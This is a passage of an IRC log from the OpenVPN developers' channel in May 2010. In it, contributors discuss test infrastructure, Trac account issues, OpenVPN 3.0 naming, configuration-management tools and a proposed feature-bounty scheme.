https://community.openvpn.net/openvpn/ticket/2 08:11 < vpnHelper> Title: #2 (Improve TCP-over-TCP performance) – OpenVPN (at community.openvpn.net) 08:11 <@mattock> russell provided the nice graphs and pcap dumps 08:11 <@dazo> yes, indeed! The worst part is probably to setup the Beaker infrastructure ... you need a lab controller which is a separate machine ... and then some test hosts which will be provisioned by the lab controller (via cobler, smolt, etc) .... this part of Beaker, I've never done before ... but I know where to dig for answers if needed 08:13 <@mattock> I've been to hell already (e.g. converting Open X-change installation to a Puppet recipe + the recent tomcat+pwm+openldap stuff), so one Beaker infrastructure does not scare me ;) 08:13 <@dazo> mattock: heh :) and you even have #beaker here on freenode :-P 08:14 <@dazo> (not too many there though, but skilled people indeed) 08:16 <@mattock> if we fail to get servers from us (=OpenVPN Technologies), I'm sure there are community members who could help us out 08:16 <@mattock> an old spare server or something 08:16 <@dazo> yeah, that's the second option 08:17 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 08:17 <@dazo> but ... 08:17 * dazo thinks aloud 08:19 <@dazo> if there exists some community servers available too ... we could probably manage to somehow (over a VPN connection) use remote test hosts, controlled by an OpenVPN Tech based beaker lab controller ... giving "real remote connection" testing possibilities as well 08:19 <@mattock> hmm... good idea 08:19 <@mattock> which VPN should we use? 08:19 <@mattock> ;) 08:19 <@dazo> Cisco? :-P 08:19 <@mattock> I was thinking of IPSec :D 08:20 <@dazo> heh 08:20 <@dazo> pptp, might be even better! 08:22 <@mattock> yep, pptp has a proven track record... :] 08:24 <@cron2> openvpn, of course 08:31 -!- dazo is now known as dazo_mtg 09:24 -!- dazo_mtg is now known as dazo 10:59 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-tqncepxkegtnwqzy] has quit [] 11:15 -!- raidz [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] 11:29 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 12:07 -!- dazo is now known as dazo_afk 12:10 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 12:10 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:21 -!- Bloodsong [~Nimbus@70.50.177.230] has joined #openvpn-devel 12:57 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 13:26 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 14:46 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 15:08 < krzie> [06:04] krzie: just sent the mail to James about AS<->OpenVPN incompatibilities we discussed about 15:08 < krzie> mattock, i brought it up at the last meeting 15:08 < krzie> he likes us not supporting AS, raidz gave me a link to the AS support 15:10 <@mattock> krzie: ok 15:14 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has joined #openvpn-devel 15:14 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has left #openvpn-devel [] 15:41 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 16:40 -!- Bloodsong [~Nimbus@70.50.177.230] has quit [Ping timeout: 265 seconds] 16:57 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 16:58 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Read error: Connection reset by peer] 22:13 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Tue May 18 2010 01:00 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:30 -!- dazo_afk is now known as dazo 02:51 <@mattock> dazo: what kind of server setup would we need for Beaker? Is the 4x512MB VM's + 1x1024MB VM ok? Or could we get away with less? 02:52 <@dazo> mattock: that sounds reasonable ... at least for Linux distros ... The beaker server will need to run a database server and a web server, so having some memory for that is good 02:53 <@mattock> is any supported virtualization technique ok? or do we get into deep trouble if we use, say, Xen? 02:54 <@dazo> Xen and KVM/qemu are supported, to some degree also vmware ... but I'd probably recommend KVM if that's available, and then Xen as the second option 02:54 <@dazo> (depends on the base distribution of the virt host) 02:54 <@mattock> should we go with latest Fedora, then? It should have good kvm and xen support, right? 02:55 <@mattock> with least hassle 02:55 <@dazo> I'm have a Fedora 12 box running KVM in production .... I'm not convinced that's a good approach for more serious stable environment ... keeping Fedora up-to-date and stable isn't as easy as it sounds like 02:56 <@dazo> I'd probably go for CentOS5.5 02:56 <@mattock> ok, CentOS it is then 02:56 <@dazo> (released this weekend) ... KVM support came in CentOS 5.4, so that should be rather stable 02:58 <@dazo> mattock: http://www.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/5.4/html/Virtualization_Guide/index.html ... this doc should help you get started when you get that far 02:58 < vpnHelper> Title: Virtualization Guide (at www.redhat.com) 02:59 <@mattock> is it RedHat 5.5 or CentOS 5.5 which is released next weekend? 03:00 <@mattock> CentOS tends to lag behind a little 03:00 <@mattock> or a lot 03:00 <@dazo> CentOS5.5 got releases this weekend, so it's already out 03:00 <@dazo> RHEL5.5 came in April, iirc 03:01 <@mattock> oh, _got_ released, got it ;) 03:01 <@dazo> CentOS releases lags 2-3 months .... but the updates (except when it is just before a new release upgrade) comes rather frequently - but the updates are conservative and focuses on security and stability 03:04 <@mattock> what kind of hard disk space does Beaker need? CentOS itself fits nicely into ~2GB if I remember correctly. 03:05 <@dazo> 2GB is probably quite tight ... and you want space for logs and the database .... I'd probably say starting at around 40GB for the server would be safe ... if you then use LVM for at least /var it's easy to extend the filesystem later on 03:06 <@dazo> for the guests .... I'd say 4-8GB should be sufficient 03:59 < krzee> dazo, does testing have the vlan patch in it? 04:01 <@dazo> krzee: nope, not yet ... that's a tricky thing ... first of all it's awaiting serious testing, as Fabian haven't done too much testing on the code base ... what can help speed up things is if it gets a thoroughly review by someone who really understand the code path this patch touches (I'm not quite up-to-par there yet) 04:02 < krzee> gotchya 04:02 <@dazo> krzee: the reason for me to be sceptical, is that the VLAN patches (feat_vlan_tagging) is based on the feat_passtos branch ... which is in the exact same situation - no real testing done, no feedback .... and nobody has dared to ACK the patch formally yet 04:03 < krzee> i took a trip to costa rica to a friends company in january and their techs were looking into openvpn but seem to believe they require vlan support (they actually dont REQUIRE it, as i attempted to point out) 04:03 < krzee> they were too embarassed to admit it to me, but i verified they are currently allowing win remote-desktop without vpn 04:03 <@dazo> krzee: if they are willing to test out openvpn-testing.git, checkout the feat_vlan_tagging branch and run that version ... I'd be more than happy! 04:04 < krzee> so besides laughing at them in secret, one day when its ready ill shoot info at them 04:04 <@dazo> krzee: the VLAN patches are in openvpn-testing ... just not merged into allmerged yet 04:04 < krzee> im not sure these guys are up to par to do the testing 04:05 < krzee> they couldnt figure out a few simple things either, in fact my routing document answered a lot of their questions 04:05 <@dazo> hmmm .... allowing RDP without vpn, might be an indication perhaps .... 04:05 < krzee> exactly 04:05 < krzee> did i mention they are costa ricans? ;] 04:05 * dazo has no experience with costa ricans .... not yet at least :-P 04:06 < krzee> smarter in general than the locals where i live, but that is saying very very little 04:37 <@mattock> don't you think that OpenVPN 3.0 is a little misleading if it's going to be a general purpose network stack? 04:37 <@mattock> shouldn't it be something like "Userspace network stack"? ;) 04:38 <@mattock> a proper name would not mislead users (=developers) to believing 3.0 is _just_ a VPN 04:39 <@mattock> OpenVPN could be a specialized distribution of this generic user-space network stack 04:39 < krzee> but wouldnt that other name lead people (users) to think its just a network stack and not a VPN? 04:39 < krzee> ild think its easier for devs to figure out what it really is than users 04:40 < krzee> devs tend to have more knowledge of whats really going on than do avg users 04:40 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-cqnoqqusuxamuhdc] has joined #openvpn-devel 04:44 -!- dazo is now known as dazo_afk 06:14 <@mattock> krzee: I'm thinking of getting the attention of non-VPN developers who could help with the core part as well as routing, filtering etc. The idea being that there would be a core project (not named OpenVPN) with modules (e.g. encryption, compression) and distributions that combine the core project with a set of modules 06:15 <@mattock> and OpenVPN 3.0 would be one such distribution (with core + VPN-specific modules) 06:15 <@mattock> e.g. OpenVPN 3.0 = core + encryption module + compression module + filtering module 06:16 <@mattock> + specialized configuration 06:16 <@mattock> anyways, that _might_ make sense 06:17 <@mattock> if the core is generic enough and VPN-specific modules small enough, only little development effort would be needed from us (=openvpn community) as others using the core for other purposes would do their part 06:17 <@mattock> that is, in theory :) 07:14 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 07:25 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 07:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:44 -!- dazo_afk is now known as dazo 08:29 <@dazo> I'd probably say we could call it ... OpenVN - Virtual Network ... where Privacy is its own module :-P 08:34 < ecrist> OpenVLAN 08:34 <@dazo> that might cause confusion with VLAN tagging, though :-P 08:34 < ecrist> OpenLAN 08:34 <@dazo> heh .... yeah, closer :) 08:35 < ecrist> Open[WL]AN 08:37 < waldner> would changing a well-known and recognized name be beneficial to users? 08:37 < ecrist> no 08:37 < ecrist> I'm just having fun coming up with names. 08:38 < waldner> yes, but mattock earlier said that v3.0 will no longer be named OpenVPN 08:39 < waldner> or maybe that's for the core...perhaps the right combination of modules that makes up a VPN will still be called that? 08:40 <@dazo> I think OpenVPN will keep it's name for a while ... if it's changed ... that happens probably much later on, when it's getting closer to a release, I'd guess 08:40 <@dazo> OpenVPN is a pretty strong brand, would not be clever to re-brand it, IMHO 08:41 < waldner> yes, that's what I was wondering 08:52 < waldner> ah no, I completely missed what he said later 08:52 < waldner> apologies 08:58 * ecrist slaps waldner with a large-mouth bass. 08:58 < waldner> heh 10:02 <@mattock> I meant that it might not make sense to call the core - which will not be VPN-specific (hopefully) - OpenVPN. However, the VPN application (=a combination of core and modules) would still be OpenVPN (3.0)... hopefully this makes sense :) 10:05 <@dazo> It' then suggest (seriously!) to call it net-core or network core ... OpenVPN Network Core .... to avoid any confusion, the abbreviation would be NWC .... as NC could be misunderstood as something else 10:06 <@dazo> Gah ... what's my xchat doing to me .... I typed: Then I suggest.... 10:06 <@mattock> yeah, something like that (OpenVPN Network Core) 10:07 <@mattock> still has the strong brand name but it still clearly communicates that it's not VPN-specific 10:07 < ecrist> personally, I think you should leave the name alone --- Log closed Tue May 18 10:32:03 2010 --- Log opened Tue May 18 10:32:10 2010 10:32 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 10:32 -!- Irssi: #openvpn-devel: Total of 16 nicks [5 ops, 0 halfops, 0 voices, 11 normal] 10:32 -!- Irssi: Join to #openvpn-devel was synced in 47 secs 10:33 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has quit [Ping timeout: 246 seconds] 10:33 -!- You're now known as ecrist 11:10 <@cron2> btw, just to mention it in time - I won't make thursday's meeting. There is an IPv6 conference in Frankfurt on Thursday+Friday, and at meeting time, I'll be sitting together with lots of IPv6 geeks, tell war stories from the time where we still used IPv4, and drink lots of beer :-) 11:14 <@dazo> cron2: sounds fun! 11:15 < ecrist> cron2: sounds like BSDCan 11:15 <@cron2> dazo: yes, should be fun 11:16 <@cron2> ecrist: well, partial. The speaker-and-geek side of things is similar, but there's "mundane folks" that just attend and pay conference fees :-) - but they usually don't go for the beer drinking and war stories anyway :-) 11:18 < ecrist> just like BSDCan 11:26 -!- openvpn2009 is now known as Guest12047 11:26 -!- Guest12047 is now known as openvpn2009 12:25 -!- dazo is now known as dazo_afk 17:20 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 22:16 -!- krzee [nobody@unaffiliated/krzee] has quit [Ping timeout: 265 seconds] 23:26 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Wed May 19 2010 01:12 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 01:15 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:01 <@mattock> dazo: regarding the OpenVPN 3.0 design... "Impressive... Most impressive." 02:01 <@mattock> especially the diagram 02:01 <@mattock> :) 03:18 <@mattock> I added SpamFilter plugin to Trac ... it uses trainable Bayesian filtering and Akismet web service to detect spam. Both of those may give false positives and the bayesian filter requires training to work correctly. Perhaps I'll reopen the floodgates (=pwm) and see what happens 03:52 -!- dazo_afk is now known as dazo 03:55 <@dazo> mattock: :) thx! I just hope James would come with a feedback to it 04:04 <@mattock> we got to remind james that he promised to write a "Secure coding guidelines" document 04:04 <@mattock> also 04:10 <@dazo> yupp 04:57 <@mattock> ok, so the trac spamfilter _seems_ to work to a degree 04:57 <@mattock> bayesian filter still requires training (21 more submissions) 04:59 <@mattock> due to this, all edits will be rejected, unless you configure your real name and email address here: https://community.openvpn.net/openvpn/prefs 04:59 < vpnHelper> Title: Preferences: General – OpenVPN (at community.openvpn.net) 04:59 <@mattock> or rather, your "karma" will not be high enough yet, unless you do that 05:01 <@mattock> poke me with an email or here if your submission gets rejected regardless of setting the Trac preferences 05:12 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Disconnected by services] 05:14 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 05:39 -!- krzie [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 05:41 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 05:57 <@dazo> mattock: is there a place where we now can change our passwords? 06:02 <@mattock> yep, click on the "Register" button in Trac 06:02 <@mattock> it won't probably work if you're behind a proxy (port 8443) 06:03 <@dazo> ahh :) 06:03 * dazo would never have thought about register for that :-P 06:05 <@mattock> yep, intuitive, isn't it :) 06:06 <@mattock> I can add another link with different text... 06:06 <@dazo> :) 06:32 <@dazo> Been thinking ... What if that "Register" link is labelled "User account / Register" 06:36 <@mattock> Or maybe have "Account" link and "Register" link? I could also disable the "Preferences" link and add a link to "pwm" pointing to that... e.g. "Edit Trac-specific preferences" 06:36 <@dazo> mattock: that sounds better! 06:37 <@dazo> mattock: is there a possibility for me to add new reports under Trac? ... as saved reports 06:37 <@mattock> I'll probably have to give you permission to do so... 06:37 * dazo has played with the ticket system 06:37 <@mattock> just a moment 06:38 <@dazo> thx 06:38 <@mattock> are you speaking of ticket templates? 06:39 <@mattock> btw. did password changing work ok? 06:39 <@dazo> I've not tried to relogin yet ... 06:39 * dazo tests 06:40 <@mattock> something like this, perhaps: http://trac-hacks.org/wiki/TracTicketTemplatePlugin 06:40 < vpnHelper> Title: TracTicketTemplatePlugin - Trac Hacks - Plugins Macros etc. - Trac (at trac-hacks.org) 06:41 <@dazo> mattock: nope ... passwd change did not work :( 06:41 <@mattock> is the browser perhaps caching the old one? 06:41 <@dazo> mattock: nope ... I restarted browser ... and had to use my old password to log in 06:41 <@mattock> I'll check it 06:42 <@dazo> mattock: the plug-in looks neat! But I was thinking more about adding some special queries for this page: http://trac-hacks.org/report 06:42 < vpnHelper> Title: Available Reports - Trac Hacks - Plugins Macros etc. - Trac (at trac-hacks.org) 06:42 <@dazo> gah 06:42 <@dazo> wrong site :-P 06:42 <@dazo> https://community.openvpn.net/openvpn/report 06:42 < vpnHelper> Title: Available Reports – OpenVPN (at community.openvpn.net) 06:44 <@mattock> I'll check the password changing first 06:46 <@mattock> got to restart apache soon 06:46 <@dazo> no stress :) 06:46 <@dazo> I think I'll go out for a late lunch :) 06:50 <@mattock> dazo: could you test the new password again (works for me) 06:50 <@mattock> it may be that Apache cached the LDAP passwords for a little while or something 06:53 <@mattock> dazo: I gave you REPORT_ADMIN permission... it should allow creating new queries 06:53 <@mattock> or "reports" rather 06:58 <@mattock> oh yes, there are some issues with the password change... probably password requirements (e.g. length) are funky 07:03 <@mattock> I think this may be related to our accounts not being created with pwm 07:04 <@mattock> because changing a pwm-created user's password works just fine 07:07 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 07:10 <@mattock> dazo: I'll try to fix the password change issue tomorrow 07:11 <@mattock> it's not trivial enough for drive-by fixing :) 07:18 <@mattock> ok, now there's an "Account" button in the metanav bar in Trac... it leads to pwm like "Register" 07:21 <@mattock> I'll update the pwm start page tomorrow with links to Trac-specific stuff... and fix the password change issue 08:06 < krzee> who was talking about dynamic iroutes in the other meeting? 08:06 < krzee> i just realized thats on the wishlist =] 08:06 < ecrist> do we have a meeting itinerary started, yet? 08:07 < ecrist> I'd like to add developer/feature bounties 08:08 < krzee> expect a +1 from me 08:08 < krzee> hehe 08:08 < krzee> i got the heads up on that last night, love it 08:17 <@dazo> mattock: thx! I've added a few quick reports now, and it works fine! Will add some more tickets 08:19 < ecrist> krzee: jpalmer talked to me about it at length yesterday, so I can't take credit, just said I'd bring it up 08:19 < ecrist> would be fairly simple to write a web interface to manage it 08:38 <@dazo> krzee: ecrist: Would it be possible to get the wishlist over to Trac ... there is a ticket type called "Feature Wish" ... if you could collect them here, it would be easier to get an overview 08:38 <@dazo> and if the !wishlist bot command could point at a query I'll make soon for Trac, that would be even better 08:39 < ecrist> dazo: you're welcome to copy what's there over yourself, but there is currently no public method for account creation on the trac, so this is currently the only avenue for request for typical users. 08:41 <@dazo> well, for me it's basically pointless to have anonymous feature requests ... because sometimes we need to get in touch to clarify things in regards to the request ... without that possibility, the request is pointless 08:41 < krzee> good reason to leave it on the forum ;] 08:41 < krzee> when people request features, they would normally set the forum to keep them up to date on the thread 08:41 <@dazo> I'm already spending a lot of time getting the community stuff up'n'running and will not give priority to copy over stuff from forums 08:41 < krzee> via email 08:44 < ecrist> dazo: sorry, but the wishlist needs to stay where it is until trac is better configured for account creation 08:45 <@dazo> if that's you wish, that's how it is now .... but account registration is now opened, afaik 08:45 < ecrist> part of being a community project is doing what's easiest/best for the community, not necessarily one of the developers 08:46 < ecrist> I have not been informed that user registration has openend up to the public 08:46 < ecrist> last week my account had to manually be created. 08:49 <@dazo> ecrist: let me turn it around ... if you want co-operation between users and developers, it needs to work for both sides. The forum is great for discussions, but for organising and prioritising feature requests in regards to figure out when and how to implement it, a forum is not suitable ... it needs to be tickets which is easier to work with and where you have meta-data which can be filtered and sorted ... Being a community is not only 08:49 <@dazo> to do what's best for the non-developers either 08:50 < ecrist> *shrug* I'll get behind a change when the other stuff is more accessible to users. 08:50 < ecrist> not to be rude, but I'm here to support the users 08:50 < ecrist> they have long been ignored by OpenVPN developers, and I don't want to see it go back to that 08:51 <@dazo> and I am here to help the development work, in a community fashion ... I am not hired by OpenVPN, I am spending most of my spare time doing this 08:53 < ecrist> so, to get this straight. you're not going to move items from !wishlist to trac, you expect me to do it. You want users to use Trac feature requests, although they cannot create accounts? 08:54 <@dazo> https://community.openvpn.net:8443/pwm/ .... this is available via the "Registration" link on https://community.openvpn.net/ 08:54 < vpnHelper> Title: OpenVPN user account management service (at community.openvpn.net:8443) 08:55 <@dazo> And I was asking for help to get things moved over to Trac, because I'm having a pretty heavy workload with stuff already ... 08:56 <@dazo> But if you're willing to accept that it will take yet a lot of weeks before we can begin to really begin to prioritise your wishlist, be my guest, don't lift a finger ... it will be done eventually, but not as quick as it could be done with some help 09:04 < ecrist> sure, you're the boss 09:05 < krzee> whoa guys 09:06 < krzee> we're on the same team here 09:06 -!- d12fk [~heiko@vpn.astaro.de] has quit [Read error: Connection reset by peer] 09:07 <@dazo> yes, I really hope so! My involvement is to improve the community development part of OpenVPN ... I have no other agenda 09:09 < krzee> for now i think wishlist is best where it is because the trac is unknown, just today i approved a post on the wishlist that came from someone i have never seen on IRC 09:09 < krzee> the forum is already established, trac is not... would rather keep from getting fragmented 09:09 < ecrist> I have a specific agenda to support the user-base in their interest to the developers. That is why we are where we are currently. 09:09 < krzee> later i would be happy to move it over myself 09:09 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 09:10 <@dazo> krzee: thx! very valid points, and I agree to them! 09:12 <@dazo> krzee: we'll catch it up later when things are ready to be moved ... if it happens all at once or gradually, that's less important for me ... we just need a tool to be able to easily see what we want to focus on next 09:14 <@dazo> and the wishlist is of course important in the work we do for the 3.x roadmap as well, so that the design can be flexible enough to handle those wishes we find worth adding to OpenVPN 10:59 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-cqnoqqusuxamuhdc] has quit [] 12:01 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 13:02 -!- dazo is now known as dazo_afk 17:05 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 19:20 -!- Netsplit *.net <-> *.split quits: krzie, ScriptFanix, @raidz, @mattock, d12fk, @openvpn2009, vpnHelper, @dazo_afk, agi, mape2k, (+3 more, use /NETSPLIT to show all of them) 19:22 -!- Netsplit over, joins: d12fk, krzee, krzie, vpnHelper, @mattock, @raidz, mape2k, @openvpn2009, agi, Knio (+3 more) --- Day changed Thu May 20 2010 02:02 -!- dazo_afk is now known as dazo 02:23 <@mattock> I don't think it makes sense to move any "for users" type content to Trac yet... there are a couple of issues: 02:23 <@mattock> - most of our users don't know anything about Trac 02:23 <@mattock> - although the registration service is online now, it's using https on port 8443 which is blocked by (most) web proxies, preventing many users from registering... it's being moved to a separate server to fix this 02:23 <@mattock> - most importantly: there's no link from openvpn.net to community.openvpn.net; I've asked about our policy regarding this several times but haven't got any meaningful response 02:23 <@mattock> - finally, the first links from openvpn.net should probably not attract too many visitors or Trac might DoS itself (with aid from the git-plugin)... adding link to "testing" download snapshots (hosted on community.openvpn.net) might be a good start 02:24 <@mattock> today I'll try fix the pwm password change issue (for old, non-pwm users), install Trac downloads plugin and learn enough Git to fix the broken update script 02:25 <@mattock> currently Trac's git-plugin is pointed to an obsolete version of "testing" 03:03 -!- waldner [~c2c9d2d6@gateway/web/freenode/session] has joined #openvpn-devel 03:40 <@mattock> dazo: art thou there? 03:40 <@dazo> mattock: I am! 03:40 <@dazo> ahh ... before I forget it ... It a company event this evening, so I won't be able to make the meeting today 03:40 <@mattock> I tried two different Trac "Downloads" plugins, but they're apparently obsolete (=don't work out-of-the-box) 03:41 <@dazo> ugh 03:41 <@mattock> oh, do we have an agenda for today? 03:41 <@mattock> or rather, some topics which we should discuss 03:42 <@dazo> hmm ... partly ... but to get the whole roadmap discussion further, I'd like to focus a bit on that ... last week helped a lot, but my last input has gone unanswered from James 03:42 <@mattock> regarding testing downloads... I'm thinking that it'd make sense to create a separate CI (continuous integration) server and use that to provide downloads automagically 03:43 <@mattock> btw. which branch should the CI server track (which of the _should_ always be buildable) 03:43 <@mattock> allmerged? 03:43 <@dazo> sure ... testing efforts could be a good think to discuss as well ... how do James see we should do the testing, what kind of testing docs is needed for him to more easily be able to accept -testing.git patches? 03:43 <@dazo> allmerged is the core branch for all testing 03:44 <@mattock> ok, so let's track that, then 03:44 <@dazo> I try to make sure allmerged is always buildable ... usually trying to do make distcheck before I'm pushing it 03:45 <@mattock> I think getting "testing" downloads linked to from openvpn.net is essential for testing 03:45 <@dazo> Indeed! 03:45 <@mattock> what if I bring up the CI + testing release stuff to James today... 03:46 <@dazo> It also strikes me ... that with some clever beaker scripts, we could even make beaker even compile binaries for a several distros and OSes automatically, and on success upload them to a server 03:46 <@mattock> that'd be great! 03:46 <@mattock> I'll do some research on these issues today as Trac download plugins failed me :) 03:47 <@mattock> I'll have to start building the puppet infrastructure, too, there are already too many servers to keep updated manually 03:47 <@dazo> yup ... it's really a pity the git got so little traction on Trac (pun intended) 03:48 -!- waldner [~c2c9d2d6@gateway/web/freenode/session] has quit [Changing host] 03:48 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-sqlqpcpbpdtsaegk] has joined #openvpn-devel 03:48 <@dazo> re: puppet ... I believe there are some strong forces moving from puppet to .... sesame, iirc 03:48 <@mattock> oh, I got to fix my git update script on community... 03:48 <@mattock> hmm... sesame 03:49 <@dazo> I'll ask some colleagues .... Condor grid computing stuff is kicking out puppet, I believe .... which is pretty heavy transition 03:50 <@mattock> do you got links to the sesame thingy? 03:51 <@mattock> I wonder why they're kicking out puppet... 03:51 <@dazo> I've asked some colleagues who is involved in this ... I'll dig up something asap ... the thing is that Condor depends on a billion other packages, with odd names ... and several packages are being replaced nowadays 03:51 <@dazo> scalability and security features are usually the arguments I hear 03:52 <@mattock> probably makes sense for a grid... 03:52 <@mattock> probably not for us 03:57 <@mattock> I mean scalability as an argument against using puppet :) 03:59 <@dazo> mattock: sorry, not sesame ... wallaby .... I do get a big explanation right now 04:00 <@mattock> ok, no wonder I did not find it :) 04:20 <@dazo> mattock: sorry for late response ... a couple of things at work took my attention 04:20 <@mattock> no problem 04:22 <@dazo> puppet - the "problem" is that it is a big server->client application which do not provide good feedback when it restarts the services it is requested to restart ... puppet is actually embedded web-servers using their own protocol scheme in addition 04:23 <@dazo> wallaby is using Qpid for transferring configs, and is very lightweight, as the Qpid client library is tiny ... and it offers better feedback from the clients, in addition to better authentication, group models (you can define clients into different groups and modify the group configs independently) 04:24 <@dazo> so ... for OpenVPN use-case ... puppet might sound like a good approach, if the "big" clients are not a problem 04:25 <@dazo> wallaby is better if you don't mind starting up a Qpid broker in the network, and if you want flexible and easier finer grained control as well 04:26 <@dazo> (condor also chose wallaby, as condor already makes use of qpid ... and now condor can even communicate better with the management interface) 04:27 <@dazo> http://git.fedorahosted.org/git/?p=grid/wallaby.git 04:27 < vpnHelper> Title: Fedora Hosted Git Repositories - grid/wallaby.git/summary (at git.fedorahosted.org) 04:28 * dazo goes for a meeting 04:30 <@mattock> have a nice meeting! 04:32 <@mattock> I'll check out wallaby, although I think puppet will be more than enough 04:33 <@mattock> I'm looking into automating relatively simple but annoying things (firewalls, smtp settings etc) 04:33 <@mattock> basically dropping in files here and there 04:34 <@mattock> as I've used puppet quite a lot and it's pretty intuitive, I'm leaned towards it (for time-economical reasons) 05:16 < waldner> I hope it's got better re memory usage, ISTR it being a real hog 05:19 <@dazo> mattock: yeah, I thought you had a stronger puppet preferences, and I understand that ... easier to work with what you already know :) 05:20 <@dazo> waldner: I think it's better than what it used to be ... but my colleague says, it's still a "too fat client" 05:21 < waldner> heh 05:46 <@mattock> dazo: it's pretty fat, agreed 06:45 <@mattock> ecrist: I'll add the developer/feature bounties to the agenda... can you attend the meeting yourself? 06:46 < ecrist> yes 07:11 -!- Netsplit *.net <-> *.split quits: ScriptFanix, Knio 07:13 <@mattock> great! 07:13 <@mattock> I'll create the agenda page now 07:14 -!- Knio [~Knio@174.0.88.23] has joined #openvpn-devel 07:14 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn-devel 07:49 <@mattock> here it is: https://community.openvpn.net/openvpn/wiki/Topics-2010-05-20 07:49 < vpnHelper> Title: Topics-2010-05-20 – OpenVPN (at community.openvpn.net) 07:49 <@mattock> ecrist: if you have more specific ideas about the bounty system please add them there 07:51 <@dazo> mattock: "# Does not replace human testing when problems are complex, e.g. dependent on complex interaction of configuration parameters or components." ... that depends on what you mean with "complex interaction" ... but for GUI interaction that's more difficult (even thought I believe the dogtail project is aimed at solving that, but don't know how far that project have come) 07:53 <@mattock> yep, I'm not sure how to describe the issues... perhaps "does not solve problems that are hard to test for programmatically" 07:53 <@mattock> would be better 07:53 <@mattock> however, it does not say much 07:53 <@dazo> aha ... then I see what you're more aiming at 07:54 <@mattock> i'll reword it a little 07:54 <@dazo> what would be difficult in this scenario is actually network disturbance (packet duplication, primarily ... but packet loss can be "faked" with firewall rules) 07:55 <@dazo> the rest should actually be pretty much doable to write test scripts (or even test binaries) for 07:55 <@mattock> we could ask people to provide remote servers to test against 07:56 <@mattock> that way we'd get real network disturbance 07:56 <@mattock> the worse the connection, the better :) 07:56 <@mattock> I rewrote the sentence now, should be better now 07:57 <@mattock> I guess I'm trying to say that "Beaker is not a silver bullet" (even if it comes close) 07:57 <@mattock> luckily OpenVPN should be pretty easy to test with automated tools like Beaker, so setting up the environment probably makes sense 07:58 <@dazo> yeah, exactly 08:01 <@cron2> mattock: for both points for tonight "yes, go for it" :-) (I won't be able to attend) 08:01 <@mattock> what about the developer feature bounty issues ecrist brought up? 08:03 <@dazo> sounds like a good idea to me! I'm supporting such approaches! 08:04 <@dazo> you also got the "Marked place" on sf.net I believe as well ... could be it could be used to attract people that way too 08:04 <@dazo> (not sure how usable it is though) 08:10 < ecrist> updated wiki, mattock 08:15 <@dazo> The only important thing about a bounty system, is that it should encourage people to contribute code ... but the code would still need to go through the normal review and ack process ... it's not a shortcut how to get features into the code base 08:21 <@mattock> ecrist: this is a nice idea... especially if it'd lure developers into developing OpenVPN for free :) 08:25 <@mattock> maintenance of the "paid for" features is a challenge, though... if there's no incentive for the developer expect the bounty, why should he maintain his code? 08:25 <@mattock> we need to think of something... 08:25 <@mattock> dazo: isn't SF.net marketplace dead and buries already? 08:25 * cron2 wants a bounty for new code :) 08:25 <@cron2> (ah, it *is* for code, not for "just proposed new features") 08:25 <@dazo> mattock: might be ... I've not paid attention to it for quite a while 08:25 * cron2 is all confused again 08:26 <@dazo> cron2: if you send me your snail-mail ... I'll mail you a Bounty chocolate :-P 08:26 <@mattock> cron2: that's another issues... we need to be fair and not create two classes of developers (paid and not paid) 08:26 <@cron2> dazo: oh, good plan :-) 08:26 <@mattock> oh, Bounty... that's my favorite. Although it _is_ sweet 08:26 <@cron2> mattock: that's easy, only pay me, and I won't tell anyone 08:26 <@mattock> melts your teeth right away 08:26 <@cron2> *duck* 08:26 <@dazo> heh :) 08:26 <@mattock> cron2: ok, sounds good... but shouldn't we talking about this privately? :) 08:27 <@cron2> oh, indeed :) 08:33 < ecrist> there wouldn't be two classes of developers 08:33 < ecrist> anyone could write the code in favor of earning a bounty 08:34 * cron2 wants to be paid by "affected lines of code" 08:34 <@cron2> ... start ident, reformat everything... 08:34 < ecrist> I'm thinking a 50% payout for a commit to main tree, and 25% upon release in production and 25% 